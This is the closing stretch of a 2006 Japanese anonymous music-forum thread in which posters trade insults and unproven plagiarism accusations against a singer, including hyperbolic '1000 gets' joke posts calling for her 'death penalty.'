信者は都合のよい事しか耳に入らないようですね

986 :名も無き音楽論客:2006/02/21(火) 23:06:34 ID:J1HRn2lJ
>>983
興味なかったら分け分からんこと書くな

987 :名も無き音楽論客:2006/02/21(火) 23:08:17 ID:J1HRn2lJ
ぱくりの定義 俺的に
1:自分で作詞作曲している
2:知名度のある人が知名度のないところからぱくる
3:似ている曲が5つ以上ある
4:直接的または間接的にパクりを認めた
5:作詞作曲のクレジットを変えた
 3つ以上で盗作決定 盗塚は1.2.3が当てはまる 
 オレ○ジレン○はすべてだが、、

988 :名も無き音楽論客:2006/02/21(火) 23:08:27 ID:AquIL4Hf
>>983は現実逃避してますね
頭の中の盗塚を汚されたくないのでしょうか
もはや盗作はまぎれもない事実

989 :名も無き音楽論客:2006/02/21(火) 23:08:48 ID:???
信者や盗塚は人の言葉や芸術をすぐにパクルんだよな。
ここに来て>>1から読み、分かりました。

990 :名も無き音楽論客:2006/02/21(火) 23:09:53 ID:AquIL4Hf
だれか次スレを

991 :名も無き音楽論客:2006/02/21(火) 23:10:27 ID:UFEjFF51
>>983
でも頭ごなしにアンチ批判しても意味ないよ〜?
盗作だって話題に挙がるくらいの理由をアンチは持ってるんだから、
それを知った上で意見しなくちゃねぇ?
無知は罪だよ〜

992 :名も無き音楽論客:2006/02/21(火) 23:10:31 ID:8xUIv4MK
>>990
立て方わからな〜い

993 :名も無き音楽論客:2006/02/21(火) 23:11:03 ID:???
負け犬信者は逃走したようです。

994 :名も無き音楽論客:2006/02/21(火) 23:12:42 ID:wuL1OVtf
はっきり言う 盗作かそうでないかは自由
だが、酷似している曲、PVがあるのは事実


995 :名も無き音楽論客:2006/02/21(火) 23:12:54 ID:AquIL4Hf
アンチが>>1000とったら
盗塚死刑

996 :名も無き音楽論客:2006/02/21(火) 23:13:04 ID:???
あとちょっとで1000かー。
誰か次レスを

997 :名も無き音楽論客:2006/02/21(火) 23:14:05 ID:wuL1OVtf
1000なら盗作愛子房

998 :名も無き音楽論客:2006/02/21(火) 23:14:24 ID:AquIL4Hf
>>994
いや自由じゃだめだ

酷似→明らかな盗作→犯罪

罪を認めろ盗塚信者どもが

999 :名も無き音楽論客:2006/02/21(火) 23:15:06 ID:AquIL4Hf
>>1000なら盗塚死刑

1000 :名も無き音楽論客:2006/02/21(火) 23:15:16 ID:IZauyeJG
>>1000なら盗塚死刑

1001 :1001:Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

236 KB
★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.02.02 2014/06/23 Mango Mangüé ★
FOX ★ DSO(Dynamic Shared Object)